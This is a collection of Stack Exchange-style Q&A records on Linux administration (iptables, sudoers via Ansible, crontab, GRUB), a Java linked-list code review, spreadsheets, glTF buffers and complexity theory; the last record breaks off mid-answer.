{  "id": "_unix.46312"  , "question": "I've installed power saving packages (bumblebee, laptop-mode-tools, and cpufreq) to my laptop with Debian Wheezy. Thanks to that I decrease power usage from 32W to 10W. But now I faced the issue that I can't disable touchpad. I wrote simple script that inverts state of touch-pad:#!/bin/shsynclient TouchpadOff=`synclient | grep TouchpadOff | awk '{print !$3}'`When I launch this script, it inverts state of touch-pad as expected, but in 5 seconds TouchpadOff is rewritten with value 2, and touch-pad becomes active again.I suppose that it's laptop-mode-tools who modifies TouchpadOff variable. I tried to find related settings in laptop-mode-tools, but didn't find anything.Any ideas how to determine who modifies TouchpadOff variable and how to disable such a modification?"  , "title": "Power saving enables touchpad"  , "tags": "linux;power management;laptop;touchpad;synclient"  } 
{  "id": "_unix.372538"  , "question": "What does this iptables rule mean?iptables -t raw -I OUTPUT -j CT -p udp -m udp --dport 69 --helper tftp"  , "title": "What does this iptable rule mean?"  , "tags": "linux;iptables"  , "accepted_answer": "This rule seems to be part of a lager set of rules.-t raw -I OUPUT: insert this rule into the beginning of the OUTPUT chain of the table raw-j CT: if the conditions are met jump to target CTnow the conditions-p udp: protocol must be udp-m udp: use the extension udp - needed to be able to filter on udp-ports--dport  69: apply to  udp datagrams with destination port 69--helper tftp: for tracking of related datagrams use the expectations for tftpreference: helpers on regit.org"  } 
{  "id": "_codereview.36759"  , "question": "Disclaimer: The code already was graded - so I don't ask for a homework here -just for a code review. :)For a university course my colleagues and I had to implement a list without using any Arrays or any utilities from java collections. Only interfaces were allowed.We received a small feedback complaining that the our class Tuple is publicly visible. As I do this course just for learning I felt the need for more details and a comprehensive feedback. I add our task that you can better understand why we coded it in this way.Our TaskWe had to implement a list with two inheritance generations with the following properties. SList: SList implements java.lang.Iterable and provides a method add with two parameters: the position where it should be inserted and the element which should be added.AList: AList inherits from SList - with the necessary types set through generics it is a subtype of SList. Each AList list element is affiliated witha possible empty list. The type of the affiliated list items is set through an other type parameter. AList provides another add method with three parameters:position andelement like in SList affiliated_list which is affiliated to the added element.DList: With the necessary types set through generics it is a subtype of AList. All elements added to DList should support a dependsOn method. Moreover DList provides a method consistent which returns true if all list elements from DList do not depend on each other. This is evaluated thanks to the dependsOn method.If you speak German, you can take a look on the task directly.SListpackage Aufgabe5;import java.util.Iterator;public class SList<T> implements Iterable<T>{    // A Double Linked List with Iterator and ListElements.    protected class ListIterator<T> implements Iterator<T>{        private ListElement<T> currentElement;        /**         * PRECONDITION         * head != null         */        protected ListIterator(ListElement<T> head) {            this.currentElement = head;        }        /**         * POSTCONDITIONS         * return the current element         */        public ListElement<T> getCurrentElement(){            return this.currentElement;        }        /**         * POSTCONDITIONS         * return the next current element         */        public boolean hasNext() {            return this.currentElement != null;        }        /**         * PRECONDITION         * currentElement != null         * POSTCONDITIONS         * return all elements consecutively in the given order         */        public T next(){            ListElement<T> next = this.currentElement.getNext();            ListElement<T> returnElement = this.currentElement;            this.currentElement = next;            return returnElement.getValue();        }        /**         * PRECONDITION         * currentElement != null         * POSTCONDITION: The element is removed from the linked list.         */        public void remove() {            ListElement<T> nextElement = this.currentElement.getNext();            ListElement<T> previousElement = this.currentElement.getPrevious();            previousElement.setNext(nextElement);            nextElement.setPrevious(previousElement);            this.currentElement = nextElement;        }        /**         * PRECONDITION         * builder != null         * POSTCONDITIONS         * return elements as a String         */        public String toString(){            ListIterator<T> iterator = new ListIterator<T>(this.currentElement);            StringBuilder builder = new StringBuilder();            builder.append([);            while(iterator.hasNext()){                builder.append(iterator.next());                builder.append(, );            }            builder.append(]);            return builder.toString();        }    }    protected class ListElement<T>{        private T value;        private ListElement<T> previous;        private ListElement<T> next;        private ListElement(){            this(null, null, null);        }        /**         * PRECONDITION         * value != null, previous != null, next != null         */        protected ListElement(T value, ListElement<T> previous, ListElement<T> next){            this.value = value;            this.previous = previous;            this.next = next;        }        /**         * POSTCONDITIONS         * return next element in the list         */        protected ListElement<T> getNext(){            return this.next;        }        /**         * PRECONDITION         * next != null         */        public void setNext(ListElement<T> elem){            this.next = elem;        }        /**         * POSTCONDITIONS         * return previous element         */        public ListElement<T> getPrevious(){            return this.previous;        }        /**         * PRECONDITION         * previous != null         */        public void setPrevious(ListElement<T> elem){            this.previous = elem;        }        /**         * POSTCONDITIONS         * return value         */        public T getValue(){            return this.value;        }        /**         * POSTCONDITIONS         * return the value as a String         */        public String toString(){            return this.value.toString();        }    }    private ListElement<T> head;    private ListElement<T> tail;    private int listSize;    public SList(){        this.listSize = 0;        this.head = null;        this.tail = null;    }    public void add(int position, T value){        if (Math.abs(position) > (this.listSize + 1)){            throw new IndexOutOfBoundsException(The provided position is out of bounds: +position);        }        // hier noch ein paar Exceptions her zum Schutz!        if (shouldBeAppend(position)) {            append(value, position);        }        else if (shouldBeLeftAppended(position)) {            leftAppend(value, position);        }else if (shouldBeInsertedLeft(position)){            leftInsert(value, position);        }else if (shouldBeInsertedRight(position)){            rightInsert(value, position);        }        listSize ++;    }    private void append(T value, int position){        // first entry in new list        if (listSize == 0 && head == null && tail == null){            ListElement<T> element = new ListElement<>(value, null, null);            this.head = element;            this.tail = element;        }else{            ListElement<T> element = new ListElement<>(value, this.tail, null);            tail.setNext(element);            this.tail = element;        }    }    /**     * PRECONDITION         * head != null, tail != null, value != null         */    private void leftAppend(T value, int position){        ListElement<T> element = new ListElement<>(value, null, this.head);        this.head.setPrevious(element);        this.head = element;    }    /**     * PRECONDITION     * foundElement != null, value != null     * POSTCONDITION     * An additional element is added to the list.     */    private void insert(T value, ListElement<T> foundElement){        ListElement<T> nextElement = foundElement.getNext();        ListElement<T> element = new ListElement<>(value, foundElement, nextElement);        foundElement.setNext(element);        nextElement.setPrevious(element);    }    /**     * PRECONDITION     * head != null, value != null, position > 0     * POSTCONDITION     * An additional element is added to the list.     */    private void leftInsert(T value, int position){        ListElement<T> foundElement = head;        for (int i=1; i < position; i++){            foundElement = foundElement.getNext();        }        insert(value, foundElement);    }    /**     * PRECONDITION     * tail != null, value != null, position < 0     * POSTCONDITION     * An additional element is added to the list.     */    private void rightInsert(T value, int position){        ListElement<T> foundElement = tail;        for (int i=-1; i > position; i--){            foundElement = foundElement.getPrevious();        }        insert(value, foundElement);    }    private boolean shouldBeAppend(int position){        return (listSize == 0) || (position == -1) || (listSize == position);    }    private boolean shouldBeLeftAppended(int position){        return (listSize != 0) && (position == 0);    }    private boolean shouldBeInsertedLeft(int position){        return (position != 0) && (position > 0) && (position != listSize);    }    private boolean shouldBeInsertedRight(int position){        return (position < 0) && (position != -1) && (Math.abs(position) != listSize);    }    public int size(){        return this.listSize;    }    public Iterator<T> iterator(){        ListIterator<T> iterator = new ListIterator<>(this.head);        return iterator;    }    /**     * POSTCONDITIONS     * return the iterator as a String     */    public String toString(){        return this.iterator().toString();    }}AListpackage Aufgabe5;import java.util.Iterator;public class AList<K, V> extends SList<Tuple<K, V>>{    public AList() {        super();    }    /**         * POSTCONDITION         * inserts an element with 3 parameters         */    public void add(int position, K key, SList<V> elements){        Tuple<K, V> tuple = new Tuple<>(key, elements);        super.add(position, tuple);    }    /**     * POSTCONDITION         * return another iterator in Iterator         */    public Iterator<Tuple<K, V>> iterator(){        return super.iterator();    }}DListimport java.util.Iterator;public class DList<K extends Dependent<? super K>,V > extends AList<K, V> {        /**     * CLIENT HISTORY CONSTRAINT: list was filled with elements.         * POSTCONDITIONS         * return true if all elements don't depend on one another (false)         */         public boolean consistent() {                Iterator<Tuple<K,V>> it= super.iterator();                boolean pos_found = false;                boolean independent = true;                while (it.hasNext() ) {                        Tuple<K,V> elem = it.next();                        Iterator<Tuple<K,V>> it2 = super.iterator();                        pos_found = false;                        while(it2.hasNext())                        {                                Tuple<K,V> elem2 = it2.next();                                if(pos_found)                                {                                        if(elem.getXCoordinate().dependsOn(elem2.getXCoordinate()))                                        {                                                independent = false;                                        }                                }                                if(elem2.equals(elem))                                {                                        pos_found = true;                                }                        }                }                        return independent;        }       }Tuplepackage Aufgabe5;import java.util.Iterator;class Tuple<X, Y> implements Iterable<Y>{    private final X xCoordinate;    private final SList<Y> yCoordinate;    /**     * PRECONDITION         * xCoordinate != null, yCoordinate != null,         */    public Tuple(X xCoordinate, Y yCoordinate){        this.xCoordinate = xCoordinate;        this.yCoordinate = new SList<>();    }    /**     * PRECONDITION         * xCoordinate != null, yCoordinate != null,         */    public Tuple(X xCoordinate, SList<Y> list){        this.xCoordinate = xCoordinate;        this.yCoordinate = list;    }    /**     * POSTCONDITIONS     * return xCoordinate     */    public X getXCoordinate() {        return this.xCoordinate;    }    public Iterator<Y> iterator(){        return yCoordinate.iterator();    }    /**     * PRECONDITION     * builder != null     * POSTCONDITIONS     * return key and value as a String     */    public String toString(){        StringBuilder builder = new StringBuilder();        builder.append((); builder.append(this.xCoordinate); builder.append( ,); // (key,        builder.append(this.yCoordinate); builder.append());                     //       value)        return builder.toString();    }}Interface Dependent necessary for dependsOnpublic interface Dependent <T> {    // Compares two items on a certain property    // Such a property can be e.g. if elements are integers    // or if the elements are characters.    // PRECONDITION: x != null    public boolean dependsOn(T x);}"  , "title": "Implementation of a double linked list with generics and inheritance"  , "tags": "java;linked list;generics"  , "accepted_answer": "This is great code, and I trust that you can implement the required data structure correctly. Therefore, I won't review it with respect to the assignment.Most things I found are nitpicks (e.g. about proper formatting). There are a couple of suggestions you can consider. And then there is even one little bug.SListA package declaration should create a globally unique name space, e.g. at.ac.tuwien.nutzerkennung.oop13.aufgabe5. All parts should be lowercase.Inconsistent spacing irks me: head) { vs Element(){. Pick one style and enforce it consistently (e.g. by using automated formatters). The Java Coding Conventions seem to suggest a single space between closing paren and opening curly brace.In a similar vein, always keep an empty line before a method declaration. A documentation comment belongs to the following declaration.It is almost never necessary for good readability to have the first line of a method empty.PRECONDITION head != null doesn't help much as a comment. Enforce this precondition, e.g. via assert head != null.  But it's good that you have carefully thought about such conditions.Having a comment describe the functionality of a class/method/field is a good idea. However, such a comment usually precedes the declaration, and should use a documentation comment (/**). This criticism applies to the comment // A Double Linked List with Iterator and ListElements..You consequently mention this when referring to instance fields: this.currentElement. I personally like this a lot (coming from languages like Perl), but it isn't exactly common. Such usage is of course OK if it is part of your groups coding convention.The way you have designed your classes, ListElement is actually Iterable as well. At least you use it as such. Encoding this relationship by formally implementing that interface would clean your code up in some parts:SList#iterator() would becomepublic Iterator<T> iterator(){    return this.head.iterator();}and ListIterator#toString() would becomepublic String toString(){    StringBuilder builder = new StringBuilder();    builder.append([);    for (T item : this.currentElement) {        builder.append(item);        builder.append(, );  // FIXME remove trailing comma    }    builder.append(]);    return builder.toString();}If we don't do that, there is an easy way to remove the trailing comma in ListIterator#toString():public String toString(){    ListIterator<T> iterator = new ListIterator<T>(this.currentElement);    StringBuilder builder = new StringBuilder();    builder.append([);    while(iterator.hasNext()){        builder.append(iterator.next());        if (iterator.hasNext()) {            builder.append(, );        }    }    builder.append(]);    return builder.toString();}Notice also how I used empty lines to separate the three distinct tasks initialization  enclosing the items in brackets  returning.As far as I can see, new ListElement() == new ListElement(null, null, null) has no useful interpretation, and isn't used anywhere. Remove that useless constructor.shouldBeAppend should be shouldBeAppended ;-)It is dubious that all those shouldBeXAppended methods make sense on their own; it would not impact the code negatively if you would put the conditions directly into the SList#add conditional. Having them in their own methods only makes the code more self-documenting, and a bit easier to test (also, it hides cyclomatic complexity). I personally would not have put them into separate methods, so that it is easier to get an overview of the possible paths.if ((listSize == 0) || (position == -1) || (listSize == position)) {    append(value, position);}else if ((listSize != 0) && (position == 0)) {    leftAppend(value, position);}else if ((position != 0) && (position > 0) && (position != listSize)){    leftInsert(value, position);}else if ((position < 0) && (position != -1) && (Math.abs(position) != listSize)){    rightInsert(value, position);}Can we be sure from this mess that all paths are actually covered, and that we are allowed to omit the else?Some of the tests are unneccessary: if the first branch is not taken, we already know that (listSize != 0) && (position != -1) && (listSize != position). We can remove those tests from the other branches. The test (position != 0) && (position > 0) looks a bit silly, we can simplify that as well. In the final branch, we already know that (position < 0) because the two other cases were handled earlier. The test Math.abs(position) != listSize simplifies to -position != lisSize because of that.// assert Math.abs(position) <= (this.listSize + 1)if ((listSize == 0) || (position == -1) || (listSize == position)) {    append(value, position);}else if (position == 0) {    leftAppend(value, position);}else if (position > 0) {    leftInsert(value, position);}else if (-position != listSize) {    rightInsert(value, position);}So, what input doesn't get handled? position == -listSize. Oops!A note on style: Settle for one style to format if/else. In Java it is common to cuddle them onto one line, but in that case put a space in between: } else if (...) {. I prefer to put the else on a new line, because it allows me to put a comment line before each condition.if (listSize == 0 && head == null && tail == null)  the class is small enough to keep all invariants in mind, but listSize == 0 and head == null && tail == null imply each other. In general, an assertion to make sure that these two are in sync would be better than to take another branch as if nothing happened.In this special case, you could remove those two large branches as they share most code, and write instead:private void append(T value, int position){    ListElement<T> element = new ListElement<T>(value, this.tail, null);    // handle case of empty list: insert at beginning too    if (tail == null) {        assert listSize == 0;        assert head     == null;        this.head = element;    }    // append at the end of an existing list    else {        assert tail.getNext() == null;        tail.setNext(element);    }    this.tail = element;}Is there any specific reason you use both this.tail and a bare tail here?AListI don't quite see why this class needs its own iterator() implementation, considering that it just calls the parent class' method.DListYou have switched to another brace style, putting each brace on its own line for control flow constructs. Settle for a single style, etc.There is no way for independent to become true again once it is set to false. It might be better to remove that variable and return immediately once the value can be determined.pos_found should be named posFound, because this is the naming convention is Java. Actually, booleans should usually have an is prefix. As the variable is only used inside the loop (and reset there to its original value each time), it should be declared inside the loop.Conditionals of the form if (cond1) { if (cond2) { ... } } should be written as if (cond1 && cond2) to avoid unnecessary indentation.When looping over the elements in an Iterable object, it is often better to use a for (Tuple<K, V> elem : this) { ... } loop rather than manually accessing the iterator methods with a while.It is usually better to use a 4-space indent instead of 8-space indent (or even tabs). Most editors can be configured to use a certain indentation style.This class looks like it was written by a C programmer.TupleUsing X and Y for type parameters is confusing. Use something that makes sense in the problem domain, like K, V.What is all this talk about coordinates, considering that yCoordinate isn't even a number, but a list? Such terminology generally needs a comment explaining what it means.return xCoordinate  most useless comment ever.Don't put multiple statements onto the same line. You gain nothing, and loose readability."  } 
{  "id": "_unix.349691"  , "question": "We have a sudoers file in /etc/sudoers.d/ops (on 10 servers).  Sometimes we need to add multiple users and Cmnd_Alias to that file. How can we automate this with an ansible playbook?Our sudoers file:User_Alias     OPS_USERS = user1,user2,user3Cmnd_Alias     OPS_CMD = /sbin/ifconfig, /usr/sbin/dmidecodeOPS_USERS      ALL = NOPASSWD:OPS_CMD  "  , "title": "How to modify sudoers file with ansible?"  , "tags": "ubuntu;sudo;ansible"  , "accepted_answer": "Personally I would go with a template module (link).I would prepare a template somehow similar to this:User_Alias     OPS_USERS = {{ users|join(', ') }}Cmnd_Alias     OPS_CMD = {{ commands|join(', ') }}OPS_USERS      ALL = NOPASSWD:OPS_CMDAnd in variables I would put something like this:users:  - user1  - user2  - user3commands:   - /sbin/ifconfig  - /usr/sbin/dmidecodeEdit:Maybe a little bit of explanation would be needed.In template I used a filter that joins strings with given separator (', '). You can find more about filters here. Of course strings to concatenate are taken from the lists 'users' or 'command' defined in variables section of your play book."  } 
{  "id": "_webapps.102368"  , "question": "I am being bombarded with spam from the same address '0x5bfaf04b'.I tried to unsubscribe but that is fake and/or non working so I attempted their support page at the same 0x5bfaf04b. It cam back as a bonus address. I have been receiving 6-10 on average daily. All with different headers and the bottom signature is Gmail.com.This is very frustrating how these scammers have found a way to bypass all security in place and send this kind of garbage. Over and over in disguise as something else.How can this be stopped."  , "title": "How can I stop the spam?"  , "tags": "email;gmail filters;security"  } 
{  "id": "_cs.70497"  , "question": "let T be tree with 10 vertices.what is the sum of degree of all vertices in tree"  , "title": "the sum of degree of all vertices in tree with 10 vertices"  , "tags": "graphs"  } 
{  "id": "_webmaster.10986"  , "question": "I have a single app product I want to sell. There are tons of e-commerce website, but these seem to be targeted to companies that sell more than one product.Is there some solution to make an attractive website that emphasises the purchase of a single product?"  , "title": "How to sell a single product rather than opening an entire ecommerce website"  , "tags": "ecommerce"  } 
{  "id": "_webapps.95125"  , "question": "PayPal doesn't allow me to pay unless I use its currency conversion. If I select Bill me in the currency listed on the seller's invoice, it gives me an error - You cannot use this credit card for this transaction. Please use another funding source.But if I select Use PayPal's conversion process to complete my transaction using my card's currency, then it shows me no errors and I can proceed to pay.The problem is that the seller's currency is already the same as my credit card's, so if I allow PayPal to use its currency conversion, I'll be hit with a double currency conversion. But if I don't allow it, PayPal won't let me finish the transaction!How do I persuade PayPal to let me NOT use its currency conversion?"  , "title": "PayPal gives an error unless I use its currency conversion"  , "tags": "paypal"  } 
{  "id": "_computerscience.2337"  , "question": "The GL Transmission Format comes along with a JSON styled main file which basicly describes the scene and binary files which contain the buffers.I'm currently writing a WebGL library and I need to work alot with the vertex and index buffers. So, my question now is:Would it be possible to store plain text array buffers in the gltf (e.g., as JSON) instead of generating binary blobs always when the buffers are adjusted?"  , "title": "Is it possible to store the plain buffer data in gltf files?"  , "tags": "webgl;data structure;vertex buffer object;gltf"  , "accepted_answer": "It's not possible to store the plain text array buffers in gltf, however, here is the code I use to generate buffers in JavaScript:let vtx = [  0.0857, 0.0759,  0.0367, 0.9726,  0.9678, 0.0318,  0.9754, 0.9327];let idx = [  0, 2,  2, 4,  4, 0,  0, 1,  1, 4];let buf = new ArrayBuffer(52);let dat = new DataView(buf, 0, 52);for (var i = 0; i < 20; i += 2) {  dat.setUint16(i, idx[i / 2], true);}for (var v = 20; v < 52; v += 4) {  dat.setFloat32(v, vtx[(v - 20) / 4], true);}let b64 = btoa(String.fromCharCode(...new Uint8Array(buf)));window.console.log(data:application/octet-stream;base64, + b64);Where buf contains the binary data in a JavaScript ArrayBuffer object and b64 finally a base64 encoded string:data:application/octet-stream;base64,AAACAAIABAAEAAAAAAABAAEABAB7g689dnGbPb1SFj1Q/Hg/vsF3P7hAAj3Qs3k/bcVuPw=="  } 
{  "id": "_webapps.82621"  , "question": "I have a sheet with following values on column A:    [         A           ][1] Dead line[2] 15 days remaining***[3] Dead[4] 131 days remaining*[5] 80 days remaining**I would like to use conditional formatting on column A so:when only 1 asterisk appears: green cell backgroundwhen only 2 asterisks appear: yellow cell backgroundwhen only 3 asterisks appear: orange cell backgroundwhen column is Dead: red cell backgroundBut when I set to A:A the rule text contains with value * to paint with green background, the whole column is painted with green background, regardless of other rules.I see that the * is interpreted as an wildcard to any string, but I would like to threat each * as one asterisk character only.Someone can help me?PS:The final sheet must use this format of data on column A, with those awful asterisks (no way to change);A1 is a header;It is only a sample. Original sheet has so many lines..."  , "title": "Google Sheets: Asterisk character (no wildcard) on conditional formatting"  , "tags": "conditional formatting;google spreadsheets"  , "accepted_answer": "You can achieve your desired results by putting a tilde, ~ in front of the asterisk as an escape character, if you put the conditional formatting rules in the order listed below.First, create the one for orange when three asterisks occur using text contains and then specifying ~*~*~*. Select custom to pick an orange background. Then create the one for two asterisks using text contains and ~*~* picking yellow for the color. Then for the next rule create one for green  with text contains and ~*. Then you can create the one with a red background using text is exactly specifying Dead and picking red for the background. You should then see the following:"  } 
{  "id": "_unix.52383"  , "question": "I would like to automatically run a script after grub-install (using Grub2) if it's  possible?Some context. The script will simply run grub-install /dev/sda1, grub-install /dev/sdb1, grub-install /dev/sdc1 as I want all three EFI boot partitions in sync."  , "title": "Is there a way to automatically run a script after grub-install?"  , "tags": "grub2"  } 
{  "id": "_unix.252615"  , "question": "When I use time and date at the end of a crontab line like backup`date+%F_%T`.sql or like backup`date%d%m%y`.sql, my crontab command doesn't work. But when I remove it, it works perfectly.Why doesn't it work when I use time and date like date%d%m%y?"  , "title": "Why doesn't `date +%F_%T` work in crontab?"  , "tags": "cron"  , "accepted_answer": "First of all you need to escape every % and you should also use a little different syntax with date. So e.g. this one will work just fine:`date +\\%d\\%m\\%y`.sql"  } 
{  "id": "_webapps.74834"  , "question": "When I create an appointment at 9:00 in NYC (US Eastern timezone), my guest in London (GMT) has to attend it at 14:00 his time.However, the US and Britain switch to daylight saving time at different moments (2015-03-08 vs 2015-03-29).This means that my guest has to attend the meeting at 13:00 his time for the next 3 weeks. Google handles this seamlessly, maybe even too seamlessly: my guest is not notified that his meeting has shifted by an hour.This is not very good (he may have other appointments not affected by the DST lunacy).  Ideally, the user should be notified whenever an appointment's local time changes.What can be done about it?"  , "title": "Appointments across different daylight saving time areas are silently modified"  , "tags": "google calendar"  } 
{  "id": "_webapps.31704"  , "question": "In Google Calendar, from the main calendar view, is there a way to have appointments open in a new browser tab when clicked, instead of opening in the same tab (the default behavior)?"  , "title": "In Google Calendar, is there a way to open appointments in a new browser tab instead of in the same tab?"  , "tags": "google calendar"  } 
{  "id": "_cs.2417"  , "question": "Wikipedia defines side-channel attacks as:any attack based on information gained from the physical implementation of a cryptosystemUsually in side channel attacks the implementations leak information (e.g., timing attack: the implementation leaks the time it takes to complete a task, etc.)Are tampering-attacks also considered as side-channel attacks?On one hand, tampering-attacks are (usually) attacks on the implementation itself.On the other hand, the attack might be such that information only enters the device, and no information comes out of the device, so there is no side-channel that leaks the information.(example: If we heat some access-control device, until it grants us the access. Or if we perform SQL injection that causes the device to grant the access (but leaks no secret other than that))"  , "title": "Are tamper attacks considered side-channel?"  , "tags": "terminology;cryptography"  } 
{  "id": "_unix.272214"  , "question": "I'm trying to write a short script that finds empty lines and then prints the nth line after the empty lines.Forfoo1foo2foo3bar1bar2bar3spam1spam2spam3eggs1eggs2eggs3printing every 2nd line after a blank line would result in:foo2bar2spam2eggs2I tried using sed sed -n -e /^$/ {N; N; x; N; p; x; d} but I cannot get the hold space to be cleared and the result is not what I want."  , "title": "How to print nth line after match / empty lines"  , "tags": "sed;awk;scripting"  } 
{  "id": "_unix.171834"  , "question": "I have copied some files to an SFTP-only server.I want to verify that all the files arrived intact. Since the server is SFTP-only, I cannot run e.g., an MD5sum on the remote host.I have the server mounted via GVFS/SFTP on my local machine.There are many gigabytes of data I wish to verify. However, doing a byte-by-byte diff would be infeasible. Instead, I wish to simply compare file sizes.Since the SSH protocol is encrypted, and therefore resistant to tampering/errors (and I have no enemies powerful enough to tamper with an SSH connection, especially for files as trifling as these,) I can safely assume that every byte that DID make it across made it across intact.However, a truncated file is still a possibility.How can I compare file sizes (in bytes) for a large amount of files?"  , "title": "How to compare file sizes in two directories?"  , "tags": "files;file transfer;verification"  } 
{  "id": "_cs.50072"  , "question": "I have found a algorithm to check whether a Hamiltonian Cycle Exists in the graph or not, but not able to compute/analyse it's time complexity.The algorithm is as follows :Label all the vertices with distinct prime numbers.Label all edges with weight equal to 1.Now remove one vertex at a time, while removing a vertex v, if there is edge between u and v & v and w, then add a edge between u and w, with weight = weight(u->v)*weight(v->w)*label(v)If at the end you end up with only one vertex with self edges and if there is a self edge that is equal to the product of all the primes of the removed vertices then there is Hamiltonian Cycle.I have proved the algorithm is correct but unable to find it's time complexity. I think there can be much more optimization in this algorithm also, as we don't need to add those edges to the graph that whose weight divides the weight of some other already present edge.If someone can give some optimization to this algorithm it may turn out to be polynomial, thus proving P = NP."  , "title": "Time Complexity and Optimization for the Algorithm?"  , "tags": "time complexity;np complete;optimization;p vs np"  } 
{  "id": "_softwareengineering.119430"  , "question": "Assume the following situation similar to that of Stack Overflow: I have a system with a front-end that can perform various manipulations on the data (by sending messages to REST back-end):PostingEditing and deletingAdding labels and tagsNow in the first version we created it well modularized but the need as of now for 'evolving' the system similar to Stack Overflow. My question is how best to separate the commonality and how to incorporate the variability with respect to the following:Commonality:The above 'functionalities' and sending/receiving the data from the serverLook and feel (also a variability as explained below)HTTP verbs associated with the above actionsVariability:The RESTful URLs where the requests are sentThe text/style of the UI (the commonality is analogous to Stack Overflow - the functionality of upvotes, posting a question remains the same, but the words, the icons, the look and feel is still different across sites)I think this is entirely a client-side code organization/refactoring issue. I'm heavily using jQuery, javascript and backbone for front-end development. My question is how best should I isolate the same to be able to create multiple such aspects to the tool we are currently working on? "  , "title": "How can I refactor client side functionality to create a product line-like generic design?"  , "tags": "javascript;design;rest;refactoring"  } 
{  "id": "_softwareengineering.140424"  , "question": "The result of the following process should be a html form. This form's structure varies from one to user. For example there might be a different number of rows or there may be the need for rowspan and colspan.When the user chooses to see this table an ajax call is made to the server where the structure of the table is decided from the database. Then I have to create the html code for the table structure which will be inserted in the DOM via JavaScript.The following problem comes to my mind: Where should I build the HTML code which will be inserted in the DOM? On the server side or should I send some parameters in the ajax call method and process the structure there? Therefore the main question involves good practice when it comes to decide between Server side processing or client side processing.Thank you!"  , "title": "Is it better to build HTML Code string on the server or on the client side?"  , "tags": "programming practices"  , "accepted_answer": "Server-sidePros: More controllable, easier to debug, less dependent on client's browser Cons: More server load, higher network traffic and latencyClient-sideCons: Depends on decent JS/DOM implementation in the browser.Pros: Performance, performance, performance. Less server load (thus faster server response), much less network traffic, and thanks to previous two much less latency.For example LinkedIn's Engineering Team article Blazing fast node.js: 10 performance tips from LinkedIn Mobile as one of the points talks about that issue. "  } 
{  "id": "_cstheory.22174"  , "question": "If $\\mathsf{NP}$ contains a class of superpolynomial time problems, i.e.for some function $t \\in n^{\\omega(1)}$, $\\mathsf{DTIME}(t) \\subseteq \\mathsf{NP}$,then if follows from the deterministic time hierarchy theorem that $\\mathsf{P} \\subsetneq \\mathsf{NP}$. But are there any other interesting consequences nontrivial (i.e. not a consequence of $\\mathsf{P} \\subsetneq \\mathsf{NP}$)if nondeterminism can speed up deterministic computations?"  , "title": "Consequences of nondeterminism speeding up deterministic computation"  , "tags": "cc.complexity theory;time complexity;nondeterminism"  } 
{  "id": "_unix.289166"  , "question": "We are running ubuntu 14.04, which still does not have openjdk8 yet. And I doubt they are going to fix this very soon. We need jdk8 very badly. Is this openjdk-r ppa safe enough?"  , "title": "Is the openjdk-r ppa trustworthy enough to install on server?"  , "tags": "ubuntu;java"  , "accepted_answer": "Installing openjdk-8 from this Launchpad PPA is safe.To install OpenJDK 8 execute the following commands :  sudo add-apt-repository ppa:openjdk-r/ppasudo apt updatesudo apt install openjdk-8-jdk"  } 
{  "id": "_datascience.11069"  , "question": "I am taking a class in information retrieval. We learned that the index of a search engine has (possibly among other things):A vocabulary mapping terms to their statistics (frequency, type, ...) andA posting list mapping terms to the documents were they are stored (with or without positions, fields, ...)These are separate data structures. I understand why those information is needed and what for. But I don't understand why we want to keep them separate. Why can't we have one data structure that maps terms to statistics and documents?I am currently thinking it might be because the vocabulary would be much smaller and we could read it from memory. So we could use the statistics to remove certain query terms, which are likely not useful or to try to find misspellings in the query without having to touch the large posting list.Is this correct or is there another reason to keep vocabulary and posting list separate?"  , "title": "Why keep vocabulary and posting list separate in a search engine"  , "tags": "information retrieval;search;indexing"  } 
{  "id": "_cs.65495"  , "question": "I will start of with an informal example and give a more formal problem definition later.Say I have a finite set of positive real values: $\\{2.3, \\pi, 4.382, 0.3\\}$. Using normal addition and multiplication, we can construct expressions like $(\\pi + 2.3) * 0.3 + 4.382$ and $(0.3 + \\pi) * (2.3 + 4.382)$. We put the following constraints on the expressions:Each value in the set must be used exactly once in the expression.We can only use addition, multiplication and brackets in our expression.The goal now is to get as close to a target value, say $9.5$. For example, the expression $2.3 * \\pi * 4.382 * 0.3 = 9.49886...$ gets close. How can we find the expression whose evaluation is closest to $9.5$? Or more formally:Given a finite set $V$ of - not necessarily unique - elements, two  binary operands $f(x, y)$ and $g(x, y)$ that operate on the elements  in $V$ and a target value $t$, find the expression $E$ containing each  element of $V$ exactly once, such that the evaluation of $E$ is as  close to $t$ as possible. $E$ must consist only of the values in $V$,  the given operands and brackets.I understand that for small sets, an exhaustive check that checks all possible expressions is feasible. Using heuristics, quickly finding an approximate answer (with small distance to the target) is probably possible for larger sets too. My questions are; does a more efficient method exist to find exact answers for large sets? Do efficient methods exist specifically for certain operands? What fields of mathematics and computer science touch on this subject?"  , "title": "Find expression with minimal distance to target"  , "tags": "complexity theory;optimization"  , "accepted_answer": "This is a very difficult problem. For an already hard special case, you can look at the subset sum problem. So in general, one direction to look at is NP-hard optimization problems (and ways of coping with hardness)."  } 
{  "id": "_scicomp.12886"  , "question": "Background:I am currently running a large amount parameter variation experiments.They are being run in Python 2.6+, using numpy.These experiments are going to take about 2 weeks to run.Roughly I am varying 3 parameters (independent variables) over a range of values.I am fixing 6 further independent variables (for now)I am reporting on 4 dependent variables.One of the parameters I am varying is being distributed across several processes (and computers).For each of these parameters, I generate a separate csv files with each row containing the values of all the variables (including independent, fixed and dependent).Across all the variation expect to generate about 80,000 rows of dataMost of the time I am only looking at the value of one of the dependent variables, however I keep the others around, as they can explain what is going on when something unexpected happens.In a earlier version of this experiment, varying across only 2 parameters (each though only 2 values)I was copying pasting this csv file into a spreadsheet program and doing a bunch of copy pasting to make a table of just the dependent variable I was interested in.The doing some awkward things in MS-Excel to let me sort by formulas.This was painful enough for the 6 experiment results sets I had.By the time this run is finished I am going to have 2 orders of magnitude more results.Question:I was thinking once done, I could dump all the results from the csv files into a database, and the query out the parts that are interesting.Then take those results and put them into a spreadsheet for analysis.Making graphs, finding scored relative to the control results etcAm I thinking along the right lines? (Is this what people do?)My database foo is fairly rusty these days, even when it was good I was using MS-Access.I was intending on using MS-Access for this as well."  , "title": "Should I use a database to handle large amounts of results?"  , "tags": "software;data visualization;data analysis"  , "accepted_answer": "I would suggest that a full database may be overkill for your purposes, though it would certainly work.Even $5 \\cdot 10^5$ rows should be no more than around 25mb of data.I would strongly recommend doing the analysis/plotting/etc with the same tool that you will use for querying your data. It is my experience that when changing what to analyse only takes changing 1 line of code and waiting 2 seconds, it is much easier to get the most out your data. Copy pasting is also HIGHLY error prone. I have seen several people at the point of desperation because their data did not make sense, only to realise they made a mistake when copying data in their excel sheet.If your are at all familiar with python, I would suggest using pandas or (if you have more data than you can fit in memory) pytables, which will give you all the advantages of a database (including speed). Pandas has a lot of utility functions for plotting and analysing data, and you would have 